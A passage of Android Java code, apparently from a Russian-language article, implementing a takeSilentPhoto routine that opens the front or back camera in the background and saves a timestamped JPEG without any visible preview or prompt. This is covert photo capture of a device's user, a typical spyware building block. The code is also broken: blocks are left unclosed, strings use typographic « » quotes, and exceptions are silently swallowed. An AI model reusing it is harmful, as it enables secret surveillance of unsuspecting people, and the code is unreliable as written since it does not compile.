cameraDevice.createCaptureSession(surfaceList, mCaptureStateCallback, handler);

} catch (Exception e) {

}

@Override

public void onDisconnected(CameraDevice cameraDevice) {

}

@Override

public void onError(CameraDevice cameraDevice, int error) {

}

};

private CameraCaptureSession.StateCallback mCaptureStateCallback =

new CameraCaptureSession.StateCallback() {

@Override

public void onConfigured(CameraCaptureSession captureSession) {

session = captureSession;

try {

request = device.createCaptureRequest(CameraDevice.TEMPLATE_PREVIEW);

request.addTarget(previewSurface);

request.set(CaptureRequest.CONTROL_AF_TRIGGER,

CameraMetadata.CONTROL_AF_TRIGGER_START);

captureSession.setRepeatingRequest(request.build(), mCaptureCallback, handler);

} catch (Exception e) {

}

@Override

public void onConfigureFailed(CameraCaptureSession mCaptureSession) {}

};

private CameraCaptureSession.CaptureCallback mCaptureCallback =

new CameraCaptureSession.CaptureCallback() {

@Override

public void onCaptureCompleted(CameraCaptureSession session,

CaptureRequest request,

TotalCaptureResult result) {

}

};

private final ImageReader.OnImageAvailableListener mOnImageAvailableListener =

new ImageReader.OnImageAvailableListener() {

@Override

public void onImageAvailable(ImageReader reader) {

DateFormat dateFormat = new SimpleDateFormat(«yyyy-MM-dd-HH-mm-ss»);

Date date = new Date();

String filename = photosDir + «/» + dateFormat.format(date) + «.jpg»;

File file = new File(filename);

Image image = imageReader.acquireLatestImage();

try {

ByteBuffer buffer = image.getPlanes()[0].getBuffer();

byte[] bytes = new byte[buffer.remaining()];

buffer.get(bytes);

OutputStream os = new FileOutputStream(file);

os.write(bytes);

image.close();

os.close();

} catch (Exception e) {

e.getStackTrace();

}

closeCamera();

}

};

private void takePicture() {

request.set(CaptureRequest.JPEG_ORIENTATION, getOrientation());

request.addTarget(imageReader.getSurface());

try {

session.capture(request.build(), mCaptureCallback, handler);

} catch (CameraAccessException e) {

}

private void closeCamera() {

try {

if (null != session) {

session.abortCaptures();

session.close();

session = null;

}

if (null != device) {

device.close();

device = null;

}

if (null != imageReader) {

imageReader.close();

imageReader = null;

}

if (null != surfaceTexture) {

surfaceTexture.release();

}

} catch (Exception e) {

}

public boolean takeSilentPhoto(String cam, String dir) {

photosDir = dir;

int facing;

switch (cam) {

case «front»:

facing = CameraCharacteristics.LENS_FACING_FRONT;

break;

case «back»:

facing = CameraCharacteristics.LENS_FACING_BACK;

break;

default:

return false;

}

CameraManager manager = (CameraManager)

context.getSystemService(Context.CAMERA_SERVICE);

String cameraId = null;

characteristics = null;

try {

for (String id : manager.getCameraIdList()) {

characteristics = manager.getCameraCharacteristics(id);

Integer currentFacing = characteristics.get(CameraCharacteristics.LENS_FACING);

if (currentFacing != null && currentFacing == facing) {

cameraId = id;

break;

}

} catch (Exception e) {

return false;

}

HandlerThread handlerThread = new HandlerThread(«CameraBackground»);

handlerThread.start();

handler = new Handler(handlerThread.getLooper());

imageReader = ImageReader.newInstance(1920,1080, ImageFormat.JPEG, 2);

imageReader.setOnImageAvailableListener(mOnImageAvailableListener, handler);

try {

manager.openCamera(cameraId, mStateCallback, handler);

// Ждем фокусировку

Thread.sleep(1000);

takePicture();

} catch (Exception e) {

Log.d(TAG, «Can’t open camera: » + e.toString());

return false;

}

return true;

}

private int getOrientation() {

WindowManager wm = (WindowManager) context.getSystemService(Context.WINDOW_SERVICE);

int rotation = wm.getDefaultDisplay().getRotation();

int deviceOrientation = 0;

switch(rotation){

case Surface.ROTATION_0:

deviceOrientation = 0;

break;

case Surface.ROTATION_90:

deviceOrientation = 90;

break;

case Surface.ROTATION_180:

deviceOrientation = 180;

break;

case Surface.ROTATION_270:

deviceOrientation = 270;

break;

}

int sensorOrientation = characteristics.get(CameraCharacteristics.SENSOR_ORIENTATION);

deviceOrientation = (deviceOrientation + 45) / 90 * 90;

boolean facingFront = characteristics.get(CameraCharacteristics.LENS_FACING) == CameraCharacteristics.LENS_FACING_FRONT;

if (facingFront) deviceOrientation = -deviceOrientation;

return (sensorOrientation + deviceOrientation + 360) % 360;

}